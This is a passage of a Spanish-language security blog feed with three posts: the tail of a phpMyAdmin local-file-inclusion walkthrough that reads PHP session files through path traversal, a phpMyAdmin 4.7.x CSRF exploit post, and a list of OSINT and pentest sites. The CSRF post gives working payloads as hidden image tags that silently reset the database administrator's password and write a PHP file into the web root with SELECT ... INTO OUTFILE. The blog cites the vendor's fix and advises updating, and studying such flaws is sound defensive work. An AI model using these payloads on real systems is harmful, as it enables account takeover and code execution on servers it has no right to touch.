<span style="font-family: Courier New, Courier, monospace;">4.- Obtenemos la sesión (02sg7d31vi7pd23f4p45iv14jim83hob en este caso</span><span style="font-family: "Courier New", Courier, monospace;">)</span><span style="font-family: "Courier New", Courier, monospace;"> de phpMyAdmin, en este caso estoy usando el complemento</span><span style="font-family: "Courier New", Courier, monospace;"> editThisCookie, pero también</span><span style="font-family: "Courier New", Courier, monospace;"> puede verlo desde la pestaña Application.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhajEg2Bf42ni5j0JZcSxhv-kDXWzVwMF4v5RPrYkr7nPCcFR1wtnow8xkLatDxzxrYVAfqNsDz676ec0qO7pQ5g54XeJ2yWbqAVfpfkeGIdGM1Yta1b5ypYfhI-nh3ux7d4WQZZrvj5igq/s1600/Screenshot_196.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="306" data-original-width="1363" height="142" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhajEg2Bf42ni5j0JZcSxhv-kDXWzVwMF4v5RPrYkr7nPCcFR1wtnow8xkLatDxzxrYVAfqNsDz676ec0qO7pQ5g54XeJ2yWbqAVfpfkeGIdGM1Yta1b5ypYfhI-nh3ux7d4WQZZrvj5igq/s640/Screenshot_196.png" width="640" /></a></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">5.- Hacemos la peticion al archivo de la sesion por medio de LFI:</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b><br /></b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b>http://localhost/phpmyadmin/index.php?target=db_sql.php?/../../../../../../../../var/lib/php/sessions/sess_02sg7d31vi7pd23f4p45iv14jim83hob</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">En este caso navegamos hasta <b>/var/lib/sessions/</b> que es donde se encuentran las sesiones</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Y <b>sess_tuidentificador</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Y vuala:</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0aqs8CGuHn7_m-p4wVKTEqJA8Wl7IZ-w5vuxmuITQnOfmDfJF2_v3YhC7SqH8VdUeJOZaYJbgyaBneq3QyIkRdQ3G-7oqo7MhP3jFGXLxQc3t3utWTstA2Ni3D1_tLIHzjXvGbQgfqreR/s1600/Screenshot_197.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="613" data-original-width="1350" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0aqs8CGuHn7_m-p4wVKTEqJA8Wl7IZ-w5vuxmuITQnOfmDfJF2_v3YhC7SqH8VdUeJOZaYJbgyaBneq3QyIkRdQ3G-7oqo7MhP3jFGXLxQc3t3utWTstA2Ni3D1_tLIHzjXvGbQgfqreR/s640/Screenshot_197.png" width="640" /></a></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Esto seria todo, lo mas complicado es encontrar el directorio donde se encuentran las sesiones guardadas y en todo si caso si es que las guarda, saludos!</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-84413174253054445672018-09-09T10:19:00.000-07:002018-09-09T10:19:03.365-07:00Exploit phpMyAdmin 4.7.x CSRF <span style="font-family: Courier New, Courier, monospace;">phpMyAdmin como sabemos es una herramienta de gestión de bases de datos MySQL/MariaDB en linea, el equipo de phpMyAdmin ya <a href="https://www.phpmyadmin.net/security/PMASA-2017-9/">corrigio </a>esta vulnerabilidad CSRF por lo cual es importante que si tienen esta versión en su equipo la actualicen.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Un atacante puede acceder a la pagina mediante la inducción del administrador, ejecutando en silencio cualquier consulta SQL.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">El administrador inicia sesion con phpMyAdmin, digamos que el usuario es <i>root </i>y la contraseña es <i>toor</i>.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXBbLB3C11p-xtSQmrOUucxGp7k3XK9h3JPy6Mv4SZ94-n4I9ijPxWF4EHI46dVB7Xd6sJ0ua_QN-sFrDSXCsvcB8CrTOkawBT2nGWsoHBfyCfTT1ArHJvB9XN0qF1cEdM3fvH4hrT9QUD/s1600/Screenshot_190.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="522" data-original-width="1364" height="244" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXBbLB3C11p-xtSQmrOUucxGp7k3XK9h3JPy6Mv4SZ94-n4I9ijPxWF4EHI46dVB7Xd6sJ0ua_QN-sFrDSXCsvcB8CrTOkawBT2nGWsoHBfyCfTT1ArHJvB9XN0qF1cEdM3fvH4hrT9QUD/s640/Screenshot_190.png" width="640" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><i><u>1.- Explotación de CSRF - Cambiando la contraseña actual del administrador de la base de datos</u></i></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Sabemos que si quisiéramos modificar algún contenido de la base de datos tendríamos que saber la tabla la columna y la base de datos algo que no siempre sabríamos y limitaría nuestro ataque, es por eso que usaremos este ejemplo que es mas general. La consulta para cambiar la contraseña del usuario es la siguiente:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>SET password=PASSWORD('www.arthusu.blogpost.com');</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><i><u>2.- Crear una pagina con código malicioso</u></i></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><i><p>Mi primera pagina web</p></i></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b><i><img src="http://localhost/phpmyadmin/sql.php?db=mysql&table=user&sql_query=SET password=PASSWORD('www.arthusu.blogpost.com')" style="display:none;" /></i></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZjLyt6g3yZY-DmA5yI9KEpsCe1Fdzzk7E50hT5gWsiOw6M5PYvEmXJR-oracYyDSISe9ogLZZTD_jp7LuO_4t0u3IFcvf6nhCtqtrReXCNvt001YvgDHxH5OcK4TAvaM53T10SzCuIXwh/s1600/Screenshot_192.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="139" data-original-width="532" height="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZjLyt6g3yZY-DmA5yI9KEpsCe1Fdzzk7E50hT5gWsiOw6M5PYvEmXJR-oracYyDSISe9ogLZZTD_jp7LuO_4t0u3IFcvf6nhCtqtrReXCNvt001YvgDHxH5OcK4TAvaM53T10SzCuIXwh/s640/Screenshot_192.png" width="640" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Al pasarle esto al administrador de phpMyAdmin su contraseña sera actualizada y ahora nosotros podremos acceder desde phpMyAdmin.</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj458l1v70vHZwD5MmYEnWv3EDrcUbQaKXLHAuc3Q3ch9hvwGwdrc49KhBhw5uoH__jjdG_saWxt5s_uJ956F2Ljhsu3y5R9Nhl1jY5pwMk3F2nq2lBQDwH3eBqqHGz9lKJKiSMuhI_iUZj/s1600/Screenshot_191.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="564" data-original-width="668" height="540" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj458l1v70vHZwD5MmYEnWv3EDrcUbQaKXLHAuc3Q3ch9hvwGwdrc49KhBhw5uoH__jjdG_saWxt5s_uJ956F2Ljhsu3y5R9Nhl1jY5pwMk3F2nq2lBQDwH3eBqqHGz9lKJKiSMuhI_iUZj/s640/Screenshot_191.png" width="640" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><i>3.- Escribir un archivo en el servidor.</i></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">MySQL permite escribir los resultados de una consulta en un archivo, por lo cual podemos utilizar la siguiente consulta:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><i>select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';</i></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Donde <b>/var/www/html</b> - es una ruta existente en la cual se puede escribir archivos tiene esos permisos</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">El exploit quedaría algo como lo siguiente:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><i><p>Mi primera pagina web</p></i></b></span><br />
<b><i><span style="font-family: Courier New, Courier, monospace;"></span></i></b><br />
<span style="font-family: Courier New, Courier, monospace;"><b><i><img src="http://localhost/phpmyadmin/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" /></i></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Y el resultado seria:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4VOB0j9-NxgtgnZO3WI0y4UVDJPABmuhN3LmYV73sY2_qlQyVJuJpaDC4RWG-_8X-gnsmodKNbjWrUIf-_pUWMA1lsfKOeUgugGhzsht77XhCDe_mETGSDZNm5T9Oe2w8LawZoH2gXHfP/s1600/Screenshot_193.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="572" data-original-width="1090" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4VOB0j9-NxgtgnZO3WI0y4UVDJPABmuhN3LmYV73sY2_qlQyVJuJpaDC4RWG-_8X-gnsmodKNbjWrUIf-_pUWMA1lsfKOeUgugGhzsht77XhCDe_mETGSDZNm5T9Oe2w8LawZoH2gXHfP/s640/Screenshot_193.png" width="640" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">La ejecución de nuestro código</span><span style="font-family: "Courier New", Courier, monospace;">.</span><br />
<span style="font-family: "Courier New", Courier, monospace;"><br /></span>
<span style="font-family: "Courier New", Courier, monospace;">Existen otras consultas que podemos realizar como es la lectura de archivos usando load_file, y lo que se nos ocurra con consultas SQL.</span><br />
<span style="font-family: "Courier New", Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><u>Conclusión</u></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b><br /></b></span>
<span style="font-family: Courier New, Courier, monospace;">Mantenerte actualizado, y ver que los ataques CSRF pueden llegar a ser peligrosos. También comentar que este ataque solo sirve si un dba tiene sesión iniciada en phpMyAdmin y si es dba.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-28434287563289115612018-09-08T10:53:00.000-07:002018-09-08T10:53:44.033-07:00Links utiles y herramientas utiles para pentest<span style="font-family: Courier New, Courier, monospace;">Aqui hare una lista y la ire actualizando cuando encuentre herramientas utiles online para pentest:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">1.- <a href="https://www.robtex.com/">https://www.robtex.com/</a> <- Informacion sobre una URL</span><br />
<span style="font-family: Courier New, Courier, monospace;">2.- <a href="https://toolbox.googleapps.com/apps/dig">https://toolbox.googleapps.com/apps/dig</a> <- Dig Google</span><br />
<span style="font-family: Courier New, Courier, monospace;">3.- <a href="http://index.commoncrawl.org/">http://index.commoncrawl.org/</a> <- Crawling URLS y algunos subdominios guardados</span><br />
<span style="font-family: Courier New, Courier, monospace;">4.- <a href="https://archive.org/index.php">https://archive.org/index.php</a> <- archivo de paginas web antiguas</span><br />
<span style="font-family: Courier New, Courier, monospace;">5.- <a href="https://whois.arin.net/ui/query.do">https://whois.arin.net/ui/query.do</a> <- recoleccion de informacion, solo hay que escribir el nombre en el campo, ej: facebook</span><br />
<span style="font-family: Courier New, Courier, monospace;">6.- <a href="https://www.ripe.net/">https://www.ripe.net/</a> <- informacion de sitio web y whois de bases de datos</span><br />
<span style="font-family: Courier New, Courier, monospace;">7.- <a href="https://bgp.he.net/cc">https://bgp.he.net/cc</a> <- informacion sobre sitios web la red, etc</span><br />
<span style="font-family: Courier New, Courier, monospace;">8.- <a href="https://www.shodan.io/">https://www.shodan.io/</a> <- Escaneo de puertos ip, cabeceras y mas</span><br />
<span style="font-family: Courier New, Courier, monospace;">9.- <a href="https://haveibeenpwned.com/">https://haveibeenpwned.com/</a> <- verificar emails hackeados</span><br />
<span style="font-family: Courier New, Courier, monospace;">10.- <a href="http://osintframework.com/">http://osintframework.com/</a> <- recoleccion de informacion de personas</span><br />
<span style="font-family: Courier New, Courier, monospace;">11.- <a href="https://www.exploit-db.com/">https://www.exploit-db.com/</a> <- base de datos de exploits</span><br />
<span style="font-family: Courier New, Courier, monospace;">12.- <a href="http://whois.domaintools.com/">http://whois.domaintools.com/</a> <- informacion de WHOIS</span><br />
<span style="font-family: Courier New, Courier, monospace;">13.- <a href="https://psbdmp.ws/">https://psbdmp.ws/</a> <- Pastebin Leaks</span><br />
<span style="font-family: Courier New, Courier, monospace;">14.- <a href="https://builtwith.com/">https://builtwith.com/</a> <- tecnologia que usan los sitios</span><br />
<span style="font-family: Courier New, Courier, monospace;">15.- <a href="https://securityheaders.com/">https://securityheaders.com/</a> <- Verificar seguridad en las cabeceras de sitios web</span><br />
<span style="font-family: Courier New, Courier, monospace;">16.- <a href="https://hunter.io/">https://hunter.io/</a> <- busqueda de emails en alguna pagina tiene cuenta gratis y servicio de paga</span><br />
<span style="font-family: Courier New, Courier, monospace;">17.- <a href="https://www.get-metadata.com/">https://www.get-metadata.com/</a> <- metadata en archivos</span><br />
<span style="font-family: Courier New, Courier, monospace;">18.- https://urlscan.io/ <- escanea sitio web en busca de malware tambien sirve virus total</span><br />
<span style="font-family: Courier New, Courier, monospace;">19.- <a href="https://hackvertor.co.uk/public">https://hackvertor.co.uk/public</a> <- varias utilidades para obfuscacion o encriptar o desencriptar</span><br />
<span style="font-family: Courier New, Courier, monospace;">20.- <a href="https://www.crunchbase.com/">https://www.crunchbase.com/</a> <- buscar por adquisicion reciente de alguna compañia</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0